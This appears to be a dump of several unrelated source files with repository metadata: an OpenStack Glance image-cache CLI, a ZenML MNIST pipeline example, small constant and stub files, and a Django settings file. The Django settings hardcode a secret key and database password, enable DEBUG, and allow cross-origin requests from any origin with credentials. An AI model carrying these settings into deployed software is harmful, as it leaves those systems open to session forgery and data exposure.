parser.add_argument('command', default='help', nargs='+', help='The command to execute') parser.add_argument('-v', '--verbose', default=False, action="store_true", help="Print more verbose output.") parser.add_argument('-d', '--debug', default=False, action="store_true", help="Print debugging output.") parser.add_argument('-H', '--host', metavar="ADDRESS", default="0.0.0.0", help="Address of Glance API host.") parser.add_argument('-p', '--port', dest="port", metavar="PORT", type=int, default=9292, help="Port the Glance API host listens on.") parser.add_argument('-k', '--insecure', dest="insecure", default=False, action="store_true", help='Explicitly allow glance to perform "insecure" ' "SSL (https) requests. The server's certificate " "will not be verified against any certificate " "authorities. This option should be used with " "caution.") parser.add_argument('-f', '--force', dest="force", default=False, action="store_true", help="Prevent select actions from requesting " "user confirmation.") parser.add_argument('--os-auth-token', dest='os_auth_token', default=env('OS_AUTH_TOKEN'), help='Defaults to env[OS_AUTH_TOKEN].') parser.add_argument('-A', '--os_auth_token', '--auth_token', dest='os_auth_token', help=argparse.SUPPRESS) parser.add_argument('--os-username', dest='os_username', default=env('OS_USERNAME'), help='Defaults to env[OS_USERNAME].') parser.add_argument('-I', '--os_username', dest='os_username', help=argparse.SUPPRESS) parser.add_argument('--os-password', dest='os_password', default=env('OS_PASSWORD'), help='Defaults to env[OS_PASSWORD].') parser.add_argument('-K', '--os_password', dest='os_password', help=argparse.SUPPRESS) parser.add_argument('--os-region-name', dest='os_region_name', default=env('OS_REGION_NAME'), help='Defaults to env[OS_REGION_NAME].') parser.add_argument('-R', '--os_region_name', dest='os_region_name', help=argparse.SUPPRESS) parser.add_argument('--os-project-id', dest='os_project_id', default=env('OS_PROJECT_ID'), help='Defaults to env[OS_PROJECT_ID].') parser.add_argument('--os_project_id', dest='os_project_id', help=argparse.SUPPRESS) parser.add_argument('--os-project-name', dest='os_project_name', default=env('OS_PROJECT_NAME'), help='Defaults to env[OS_PROJECT_NAME].') parser.add_argument('-T', '--os_project_name', dest='os_project_name', help=argparse.SUPPRESS) # arguments related user, project domain parser.add_argument('--os-user-domain-id', dest='os_user_domain_id', default=env('OS_USER_DOMAIN_ID'), help='Defaults to env[OS_USER_DOMAIN_ID].') parser.add_argument('--os-project-domain-id', dest='os_project_domain_id', default=env('OS_PROJECT_DOMAIN_ID'), help='Defaults to env[OS_PROJECT_DOMAIN_ID].') parser.add_argument('--os-domain-id', dest='os_domain_id', default=env('OS_DOMAIN_ID', default='default'), help='Defaults to env[OS_DOMAIN_ID].') parser.add_argument('--os-auth-url', default=env('OS_AUTH_URL'), help='Defaults to env[OS_AUTH_URL].') parser.add_argument('-N', '--os_auth_url', dest='os_auth_url', help=argparse.SUPPRESS) parser.add_argument('-S', '--os_auth_strategy', dest="os_auth_strategy", metavar="STRATEGY", help="Authentication strategy (keystone or noauth).") version_string = version.cached_version_string() parser.add_argument('--version', action='version', version=version_string) return parser.parse_args() CACHE_COMMANDS = collections.OrderedDict() CACHE_COMMANDS['help'] = ( print_help, 'Output help for one of the commands below') CACHE_COMMANDS['list-cached'] = ( list_cached, 'List all images currently cached') CACHE_COMMANDS['list-queued'] = ( list_queued, 'List all images currently queued for caching') CACHE_COMMANDS['queue-image'] = ( queue_image, 'Queue an image for caching') CACHE_COMMANDS['delete-cached-image'] = ( delete_cached_image, 'Purges an image from the cache') CACHE_COMMANDS['delete-all-cached-images'] = ( delete_all_cached_images, 'Removes all images from the cache') CACHE_COMMANDS['delete-queued-image'] = ( delete_queued_image, 'Deletes an image from the cache queue') CACHE_COMMANDS['delete-all-queued-images'] = ( delete_all_queued_images, 'Deletes all images from the cache queue') def _format_command_help(): """Formats the help string for subcommands.""" help_msg = "Commands:\n\n" for command, info in CACHE_COMMANDS.items(): if command == 'help': command = 'help <command>' help_msg += " %-28s%s\n\n" % (command, info[1]) return help_msg def lookup_command(command_name): try: command = CACHE_COMMANDS[command_name] return command[0] except KeyError: print('\nError: "%s" is not a valid command.\n' % command_name) print(_format_command_help()) sys.exit("Unknown command: %(cmd_name)s" % {'cmd_name': command_name}) def user_confirm(prompt, default=False): """Yes/No question dialog with user. :param prompt: question/statement to present to user (string) :param default: boolean value to return if empty string is received as response to prompt """ if default: prompt_default = "[Y/n]" else: prompt_default = "[y/N]" answer = input("%s %s " % (prompt, prompt_default)) if answer == "": return default else: return answer.lower() in ("yes", "y") def main(): parser = argparse.ArgumentParser( description=_format_command_help(), formatter_class=argparse.RawDescriptionHelpFormatter) args = parse_args(parser) if args.command[0] == 'help' and len(args.command) == 1: parser.print_help() return # Look up the command to run command = lookup_command(args.command[0]) try: start_time = time.time() result = command(args) end_time = time.time() if args.verbose: print("Completed in %-0.4f sec." % (end_time - start_time)) sys.exit(result) except (RuntimeError, NotImplementedError) as e: sys.exit("ERROR: %s" % e) if __name__ == '__main__': main()
33.206049
78
0.592793
import argparse import collections import datetime import functools import os import sys import time import uuid from oslo_utils import encodeutils import prettytable from six.moves import input possible_topdir = os.path.normpath(os.path.join(os.path.abspath(sys.argv[0]), os.pardir, os.pardir)) if os.path.exists(os.path.join(possible_topdir, 'glance', '__init__.py')): sys.path.insert(0, possible_topdir) from glance.common import exception import glance.image_cache.client from glance.version import version_info as version SUCCESS = 0 FAILURE = 1 def validate_input(func): @functools.wraps(func) def wrapped(*args, **kwargs): if len(args[0].command) > 2: print("Please specify the ID of the image you wish for command " "'%s' from the cache as the first and only " "argument." % args[0].command[0]) return FAILURE if len(args[0].command) == 2: image_id = args[0].command[1] try: image_id = uuid.UUID(image_id) except ValueError: print("Image ID '%s' is not a valid UUID." % image_id) return FAILURE return func(args[0], **kwargs) return wrapped def catch_error(action): def wrap(func): @functools.wraps(func) def wrapper(*args, **kwargs): try: ret = func(*args, **kwargs) return SUCCESS if ret is None else ret except exception.NotFound: options = args[0] print("Cache management middleware not enabled on host %s" % options.host) return FAILURE except exception.Forbidden: print("Not authorized to make this request.") return FAILURE except Exception as e: options = args[0] if options.debug: raise print("Failed to %s. Got error:" % action) pieces = encodeutils.exception_to_unicode(e).split('\n') for piece in pieces: print(piece) return FAILURE return wrapper return wrap @catch_error('show cached images') def list_cached(args): client = get_client(args) images = client.get_cached_images() if not images: print("No cached images.") return SUCCESS print("Found %d cached images..." % len(images)) pretty_table = prettytable.PrettyTable(("ID", "Last Accessed (UTC)", "Last Modified (UTC)", "Size", "Hits")) pretty_table.align['Size'] = "r" pretty_table.align['Hits'] = "r" for image in images: last_accessed = image['last_accessed'] if last_accessed == 0: last_accessed = "N/A" else: last_accessed = datetime.datetime.utcfromtimestamp( last_accessed).isoformat() pretty_table.add_row(( image['image_id'], last_accessed, datetime.datetime.utcfromtimestamp( image['last_modified']).isoformat(), image['size'], image['hits'])) print(pretty_table.get_string()) return SUCCESS @catch_error('show queued images') def list_queued(args): client = get_client(args) images = client.get_queued_images() if not images: print("No queued images.") return SUCCESS print("Found %d queued images..." % len(images)) pretty_table = prettytable.PrettyTable(("ID",)) for image in images: pretty_table.add_row((image,)) print(pretty_table.get_string()) @catch_error('queue the specified image for caching') @validate_input def queue_image(args): image_id = args.command[1] if (not args.force and not user_confirm("Queue image %(image_id)s for caching?" % {'image_id': image_id}, default=False)): return SUCCESS client = get_client(args) client.queue_image_for_caching(image_id) if args.verbose: print("Queued image %(image_id)s for caching" % {'image_id': image_id}) return SUCCESS @catch_error('delete the specified cached image') @validate_input def delete_cached_image(args): image_id = args.command[1] if (not args.force and not user_confirm("Delete cached image %(image_id)s?" % {'image_id': image_id}, default=False)): return SUCCESS client = get_client(args) client.delete_cached_image(image_id) if args.verbose: print("Deleted cached image %(image_id)s" % {'image_id': image_id}) return SUCCESS @catch_error('Delete all cached images') def delete_all_cached_images(args): if (not args.force and not user_confirm("Delete all cached images?", default=False)): return SUCCESS client = get_client(args) num_deleted = client.delete_all_cached_images() if args.verbose: print("Deleted %(num_deleted)s cached images" % {'num_deleted': num_deleted}) return SUCCESS @catch_error('delete the specified queued image') @validate_input def delete_queued_image(args): image_id = args.command[1] if (not args.force and not user_confirm("Delete queued image %(image_id)s?" % {'image_id': image_id}, default=False)): return SUCCESS client = get_client(args) client.delete_queued_image(image_id) if args.verbose: print("Deleted queued image %(image_id)s" % {'image_id': image_id}) return SUCCESS @catch_error('Delete all queued images') def delete_all_queued_images(args): if (not args.force and not user_confirm("Delete all queued images?", default=False)): return SUCCESS client = get_client(args) num_deleted = client.delete_all_queued_images() if args.verbose: print("Deleted %(num_deleted)s queued images" % {'num_deleted': num_deleted}) return SUCCESS def get_client(options): identity_version = env('OS_IDENTITY_API_VERSION', default='3') auth_url = options.os_auth_url if identity_version == '3' and "/v3" not in auth_url: auth_url = auth_url + "/v3" elif identity_version == '2' and "/v2" not in auth_url: auth_url = auth_url + "/v2.0" user_domain_id = options.os_user_domain_id if not user_domain_id: user_domain_id = options.os_domain_id project_domain_id = options.os_project_domain_id if not user_domain_id: project_domain_id = options.os_domain_id return glance.image_cache.client.get_client( host=options.host, port=options.port, username=options.os_username, password=options.os_password, project=options.os_project_name, user_domain_id=user_domain_id, project_domain_id=project_domain_id, auth_url=auth_url, auth_strategy=options.os_auth_strategy, auth_token=options.os_auth_token, region=options.os_region_name, insecure=options.insecure) def env(*vars, **kwargs): for v in vars: value = os.environ.get(v) if value: return value return kwargs.get('default', '') def print_help(args): command = lookup_command(args.command[1]) print(command.__doc__ % {'prog': os.path.basename(sys.argv[0])}) def parse_args(parser): parser.add_argument('command', default='help', nargs='+', help='The command to execute') parser.add_argument('-v', '--verbose', default=False, action="store_true", help="Print more verbose output.") parser.add_argument('-d', '--debug', default=False, action="store_true", help="Print debugging output.") parser.add_argument('-H', '--host', metavar="ADDRESS", default="0.0.0.0", help="Address of Glance API host.") parser.add_argument('-p', '--port', dest="port", metavar="PORT", type=int, default=9292, help="Port the Glance API host listens on.") parser.add_argument('-k', '--insecure', dest="insecure", default=False, action="store_true", help='Explicitly allow glance to perform "insecure" ' "SSL (https) requests. The server's certificate " "will not be verified against any certificate " "authorities. This option should be used with " "caution.") parser.add_argument('-f', '--force', dest="force", default=False, action="store_true", help="Prevent select actions from requesting " "user confirmation.") parser.add_argument('--os-auth-token', dest='os_auth_token', default=env('OS_AUTH_TOKEN'), help='Defaults to env[OS_AUTH_TOKEN].') parser.add_argument('-A', '--os_auth_token', '--auth_token', dest='os_auth_token', help=argparse.SUPPRESS) parser.add_argument('--os-username', dest='os_username', default=env('OS_USERNAME'), help='Defaults to env[OS_USERNAME].') parser.add_argument('-I', '--os_username', dest='os_username', help=argparse.SUPPRESS) parser.add_argument('--os-password', dest='os_password', default=env('OS_PASSWORD'), help='Defaults to env[OS_PASSWORD].') parser.add_argument('-K', '--os_password', dest='os_password', help=argparse.SUPPRESS) parser.add_argument('--os-region-name', dest='os_region_name', default=env('OS_REGION_NAME'), help='Defaults to env[OS_REGION_NAME].') parser.add_argument('-R', '--os_region_name', dest='os_region_name', help=argparse.SUPPRESS) parser.add_argument('--os-project-id', dest='os_project_id', default=env('OS_PROJECT_ID'), help='Defaults to env[OS_PROJECT_ID].') parser.add_argument('--os_project_id', dest='os_project_id', help=argparse.SUPPRESS) parser.add_argument('--os-project-name', dest='os_project_name', default=env('OS_PROJECT_NAME'), help='Defaults to env[OS_PROJECT_NAME].') parser.add_argument('-T', '--os_project_name', dest='os_project_name', help=argparse.SUPPRESS) # arguments related user, project domain parser.add_argument('--os-user-domain-id', dest='os_user_domain_id', default=env('OS_USER_DOMAIN_ID'), help='Defaults to env[OS_USER_DOMAIN_ID].') parser.add_argument('--os-project-domain-id', dest='os_project_domain_id', default=env('OS_PROJECT_DOMAIN_ID'), help='Defaults to env[OS_PROJECT_DOMAIN_ID].') parser.add_argument('--os-domain-id', dest='os_domain_id', default=env('OS_DOMAIN_ID', default='default'), help='Defaults to env[OS_DOMAIN_ID].') parser.add_argument('--os-auth-url', default=env('OS_AUTH_URL'), help='Defaults to env[OS_AUTH_URL].') parser.add_argument('-N', '--os_auth_url', dest='os_auth_url', help=argparse.SUPPRESS) parser.add_argument('-S', '--os_auth_strategy', dest="os_auth_strategy", metavar="STRATEGY", help="Authentication strategy (keystone or noauth).") version_string = version.cached_version_string() parser.add_argument('--version', action='version', version=version_string) return parser.parse_args() CACHE_COMMANDS = collections.OrderedDict() CACHE_COMMANDS['help'] = ( print_help, 'Output help for one of the commands below') CACHE_COMMANDS['list-cached'] = ( list_cached, 'List all images currently cached') CACHE_COMMANDS['list-queued'] = ( list_queued, 'List all images currently queued for caching') CACHE_COMMANDS['queue-image'] = ( queue_image, 'Queue an image for caching') CACHE_COMMANDS['delete-cached-image'] = ( delete_cached_image, 'Purges an image from the cache') CACHE_COMMANDS['delete-all-cached-images'] = ( delete_all_cached_images, 'Removes all images from the cache') CACHE_COMMANDS['delete-queued-image'] = ( delete_queued_image, 'Deletes an image from the cache queue') CACHE_COMMANDS['delete-all-queued-images'] = ( delete_all_queued_images, 'Deletes all images from the cache queue') def _format_command_help(): help_msg = "Commands:\n\n" for command, info in CACHE_COMMANDS.items(): if command == 'help': command = 'help <command>' help_msg += " %-28s%s\n\n" % (command, info[1]) return help_msg def lookup_command(command_name): try: command = CACHE_COMMANDS[command_name] return command[0] except KeyError: print('\nError: "%s" is not a valid command.\n' % command_name) print(_format_command_help()) sys.exit("Unknown command: %(cmd_name)s" % {'cmd_name': command_name}) def user_confirm(prompt, default=False): if default: prompt_default = "[Y/n]" else: prompt_default = "[y/N]" answer = input("%s %s " % (prompt, prompt_default)) if answer == "": return default else: return answer.lower() in ("yes", "y") def main(): parser = argparse.ArgumentParser( description=_format_command_help(), formatter_class=argparse.RawDescriptionHelpFormatter) args = parse_args(parser) if args.command[0] == 'help' and len(args.command) == 1: parser.print_help() return # Look up the command to run command = lookup_command(args.command[0]) try: start_time = time.time() result = command(args) end_time = time.time() if args.verbose: print("Completed in %-0.4f sec." % (end_time - start_time)) sys.exit(result) except (RuntimeError, NotImplementedError) as e: sys.exit("ERROR: %s" % e) if __name__ == '__main__': main()
true
true
f7f396ea8a546291a676f40e8c3d5914d88d14e2
64
py
Python
stubs/javascript.py
adamlwgriffiths/vue.py
f4256454256ddfe54a8be6dea493d3fc915ef1a2
[ "MIT" ]
274
2018-07-07T00:57:17.000Z
2022-03-22T23:49:53.000Z
stubs/javascript.py
adamlwgriffiths/vue.py
f4256454256ddfe54a8be6dea493d3fc915ef1a2
[ "MIT" ]
25
2018-11-24T17:19:44.000Z
2022-03-23T22:30:18.000Z
stubs/javascript.py
adamlwgriffiths/vue.py
f4256454256ddfe54a8be6dea493d3fc915ef1a2
[ "MIT" ]
18
2019-07-04T07:18:18.000Z
2022-03-22T23:49:55.000Z
"""stub to avoid import errors""" def this(): return None
10.666667
33
0.625
def this(): return None
true
true
f7f3985c8612345f1eada32a348a23c67649a83d
150
py
Python
pointer-network/const.py
shinoyuki222/torch-light
4799805d9bcae82a9f12a574dcf9fdd838c92ee9
[ "MIT" ]
310
2018-11-02T10:12:33.000Z
2022-03-30T02:59:51.000Z
pointer-network/const.py
shinoyuki222/torch-light
4799805d9bcae82a9f12a574dcf9fdd838c92ee9
[ "MIT" ]
14
2018-11-08T10:09:46.000Z
2021-07-30T08:54:33.000Z
pointer-network/const.py
shinoyuki222/torch-light
4799805d9bcae82a9f12a574dcf9fdd838c92ee9
[ "MIT" ]
152
2018-11-02T13:00:49.000Z
2022-03-28T12:45:08.000Z
DATAPATH = "data" PAD = 0 UNK = 1 BOS = 2 EOS = 3 WORD = { PAD: '<pad>', UNK: '<unk>', BOS: '<s>', EOS: '</s>' } INIT_RANGE = 0.02
9.375
17
0.433333
DATAPATH = "data" PAD = 0 UNK = 1 BOS = 2 EOS = 3 WORD = { PAD: '<pad>', UNK: '<unk>', BOS: '<s>', EOS: '</s>' } INIT_RANGE = 0.02
true
true
f7f3989199c1e19a6bbbf9dcb3cf0d37b0927522
3,439
py
Python
examples/caching/run.py
svenaoki/zenml
b94dff83f0e7c8ab29e99d6b42a0c906a3512b63
[ "Apache-2.0" ]
565
2021-08-14T14:00:32.000Z
2022-03-31T12:58:08.000Z
examples/caching/run.py
svenaoki/zenml
b94dff83f0e7c8ab29e99d6b42a0c906a3512b63
[ "Apache-2.0" ]
159
2021-08-16T08:27:10.000Z
2022-03-31T14:07:30.000Z
examples/caching/run.py
svenaoki/zenml
b94dff83f0e7c8ab29e99d6b42a0c906a3512b63
[ "Apache-2.0" ]
64
2021-08-31T02:33:01.000Z
2022-03-31T12:58:12.000Z
# Copyright (c) ZenML GmbH 2021. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at: # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express # or implied. See the License for the specific language governing # permissions and limitations under the License. import numpy as np import tensorflow as tf from zenml.pipelines import pipeline from zenml.steps import BaseStepConfig, Output, step class TrainerConfig(BaseStepConfig): """Trainer params""" epochs: int = 1 gamma: float = 0.7 lr: float = 0.001 @step def importer_mnist() -> Output( X_train=np.ndarray, y_train=np.ndarray, X_test=np.ndarray, y_test=np.ndarray ): """Download the MNIST data store it as an artifact""" (X_train, y_train), ( X_test, y_test, ) = tf.keras.datasets.mnist.load_data() return X_train, y_train, X_test, y_test @step def normalizer( X_train: np.ndarray, X_test: np.ndarray ) -> Output(X_train_normed=np.ndarray, X_test_normed=np.ndarray): """Normalize the values for all the images so they are between 0 and 1""" X_train_normed = X_train / 255.0 X_test_normed = X_test / 255.0 return X_train_normed, X_test_normed @step def tf_trainer( config: TrainerConfig, X_train: np.ndarray, y_train: np.ndarray, ) -> tf.keras.Model: """Train a neural net from scratch to recognize MNIST digits return our model or the learner""" model = tf.keras.Sequential( [ tf.keras.layers.Flatten(input_shape=(28, 28)), tf.keras.layers.Dense(10, activation="relu"), tf.keras.layers.Dense(10), ] ) model.compile( optimizer=tf.keras.optimizers.Adam(0.001), loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True), metrics=["accuracy"], ) model.fit( X_train, y_train, epochs=config.epochs, ) # write model return model @step def tf_evaluator( X_test: np.ndarray, y_test: np.ndarray, model: tf.keras.Model, ) -> float: """Calculate the loss for the model for each epoch in a graph""" _, test_acc = model.evaluate(X_test, y_test, verbose=2) return test_acc # Define the pipeline @pipeline def mnist_pipeline( importer, normalizer, trainer, evaluator, ): # Link all the steps artifacts together X_train, y_train, X_test, y_test = importer() X_trained_normed, X_test_normed = normalizer(X_train=X_train, X_test=X_test) model = trainer(X_train=X_trained_normed, y_train=y_train) evaluator(X_test=X_test_normed, y_test=y_test, model=model) # Initialize a pipeline run run_1 = mnist_pipeline( importer=importer_mnist(), normalizer=normalizer(), trainer=tf_trainer(config=TrainerConfig(epochs=1)), evaluator=tf_evaluator(), ) # Run the pipeline run_1.run() # Initialize a pipeline run again run_2 = mnist_pipeline( importer=importer_mnist(), normalizer=normalizer(), trainer=tf_trainer(config=TrainerConfig(epochs=2)), evaluator=tf_evaluator(), ) # Run the pipeline again run_2.run()
25.857143
80
0.689445
import numpy as np import tensorflow as tf from zenml.pipelines import pipeline from zenml.steps import BaseStepConfig, Output, step class TrainerConfig(BaseStepConfig): epochs: int = 1 gamma: float = 0.7 lr: float = 0.001 @step def importer_mnist() -> Output( X_train=np.ndarray, y_train=np.ndarray, X_test=np.ndarray, y_test=np.ndarray ): (X_train, y_train), ( X_test, y_test, ) = tf.keras.datasets.mnist.load_data() return X_train, y_train, X_test, y_test @step def normalizer( X_train: np.ndarray, X_test: np.ndarray ) -> Output(X_train_normed=np.ndarray, X_test_normed=np.ndarray): X_train_normed = X_train / 255.0 X_test_normed = X_test / 255.0 return X_train_normed, X_test_normed @step def tf_trainer( config: TrainerConfig, X_train: np.ndarray, y_train: np.ndarray, ) -> tf.keras.Model: model = tf.keras.Sequential( [ tf.keras.layers.Flatten(input_shape=(28, 28)), tf.keras.layers.Dense(10, activation="relu"), tf.keras.layers.Dense(10), ] ) model.compile( optimizer=tf.keras.optimizers.Adam(0.001), loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True), metrics=["accuracy"], ) model.fit( X_train, y_train, epochs=config.epochs, ) return model @step def tf_evaluator( X_test: np.ndarray, y_test: np.ndarray, model: tf.keras.Model, ) -> float: _, test_acc = model.evaluate(X_test, y_test, verbose=2) return test_acc @pipeline def mnist_pipeline( importer, normalizer, trainer, evaluator, ): X_train, y_train, X_test, y_test = importer() X_trained_normed, X_test_normed = normalizer(X_train=X_train, X_test=X_test) model = trainer(X_train=X_trained_normed, y_train=y_train) evaluator(X_test=X_test_normed, y_test=y_test, model=model) run_1 = mnist_pipeline( importer=importer_mnist(), normalizer=normalizer(), trainer=tf_trainer(config=TrainerConfig(epochs=1)), evaluator=tf_evaluator(), ) run_1.run() run_2 = mnist_pipeline( importer=importer_mnist(), normalizer=normalizer(), trainer=tf_trainer(config=TrainerConfig(epochs=2)), evaluator=tf_evaluator(), ) run_2.run()
true
true
f7f398eecfdc5d8d033aa2ad27fd525a4db88431
4,378
py
Python
backend/settings.py
MECKEM-COV-19/backend
c0686f32f98b3acd5dc028d8a054089694654a07
[ "MIT" ]
null
null
null
backend/settings.py
MECKEM-COV-19/backend
c0686f32f98b3acd5dc028d8a054089694654a07
[ "MIT" ]
4
2020-03-22T12:27:45.000Z
2021-06-10T22:44:00.000Z
backend/settings.py
MECKEM-COV-19/backend
c0686f32f98b3acd5dc028d8a054089694654a07
[ "MIT" ]
null
null
null
""" Django settings for backend project. Generated by 'django-admin startproject' using Django 2.2.11. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os from _datetime import timedelta # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '=n-@8hl8+zq0sya20tl05eoe#0va5dj@#leko1y4!k88g+pffd' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [ 'localhost', '127.0.0.1', 'meckemcov19-backend.eba-m4bbpxub.eu-central-1.elasticbeanstalk.com' ] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'database', 'users', 'api', 'rest_framework', 'django_expiring_token', 'graphene_django', 'corsheaders', ] REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'django_expiring_token.authentication.ExpiringTokenAuthentication', ), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ) } GRAPHENE = { 'SCHEMA': 'api.schema.schema' # Where your Graphene schema lives } EXPIRING_TOKEN_DURATION=timedelta(hours=1) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'corsheaders.middleware.CorsMiddleware', ] CORS_ORIGIN_ALLOW_ALL=True CORS_ALLOW_CREDENTIALS = True ROOT_URLCONF = 'backend.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'backend.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases if 'RDS_HOSTNAME' in os.environ: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.psycopg2', 'NAME': os.environ['RDS_DB_NAME'], 'USER': os.environ['RDS_USERNAME'], 'PASSWORD': os.environ['RDS_PASSWORD'], 'HOST': os.environ['RDS_HOSTNAME'], 'PORT': os.environ['RDS_PORT'], } } else: DATABASES = { 'default': { 'ENGINE': 'djongo', 'NAME': 'cov19', 'USER': 'root', 'PASSWORD': 'example', 'HOST': 'localhost', 'PORT': '27017', } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT= 'static' ## Auth AUTH_USER_MODEL = 'users.CustomUser'
26.059524
114
0.672225
import os from _datetime import timedelta BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) SECRET_KEY = '=n-@8hl8+zq0sya20tl05eoe#0va5dj@#leko1y4!k88g+pffd' DEBUG = True ALLOWED_HOSTS = [ 'localhost', '127.0.0.1', 'meckemcov19-backend.eba-m4bbpxub.eu-central-1.elasticbeanstalk.com' ] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'database', 'users', 'api', 'rest_framework', 'django_expiring_token', 'graphene_django', 'corsheaders', ] REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'django_expiring_token.authentication.ExpiringTokenAuthentication', ), 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ) } GRAPHENE = { 'SCHEMA': 'api.schema.schema' # Where your Graphene schema lives } EXPIRING_TOKEN_DURATION=timedelta(hours=1) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'corsheaders.middleware.CorsMiddleware', ] CORS_ORIGIN_ALLOW_ALL=True CORS_ALLOW_CREDENTIALS = True ROOT_URLCONF = 'backend.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'backend.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases if 'RDS_HOSTNAME' in os.environ: DATABASES = { 'default': { 'ENGINE': 'django.db.backends.psycopg2', 'NAME': os.environ['RDS_DB_NAME'], 'USER': os.environ['RDS_USERNAME'], 'PASSWORD': os.environ['RDS_PASSWORD'], 'HOST': os.environ['RDS_HOSTNAME'], 'PORT': os.environ['RDS_PORT'], } } else: DATABASES = { 'default': { 'ENGINE': 'djongo', 'NAME': 'cov19', 'USER': 'root', 'PASSWORD': 'example', 'HOST': 'localhost', 'PORT': '27017', } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT= 'static' ## Auth AUTH_USER_MODEL = 'users.CustomUser'
true
true
f7f399dc8d0e1eab8552e82af1e0ba9c854f391c
19,455
py
Python
lib/geometric_matching_multi_gpu.py
apoorvanand/Deep-Virtual-Try-On
56d536d46913afb8504ad3336697f2adf7dc965c
[ "MIT" ]
22
2020-09-27T22:14:01.000Z
2022-03-30T21:09:17.000Z
lib/geometric_matching_multi_gpu.py
apoorvanand/Deep-Virtual-Try-On
56d536d46913afb8504ad3336697f2adf7dc965c
[ "MIT" ]
5
2021-04-09T16:22:03.000Z
2021-12-29T08:29:16.000Z
lib/geometric_matching_multi_gpu.py
apoorvanand/Deep-Virtual-Try-On
56d536d46913afb8504ad3336697f2adf7dc965c
[ "MIT" ]
15
2020-07-21T09:11:03.000Z
2022-02-05T12:48:29.000Z
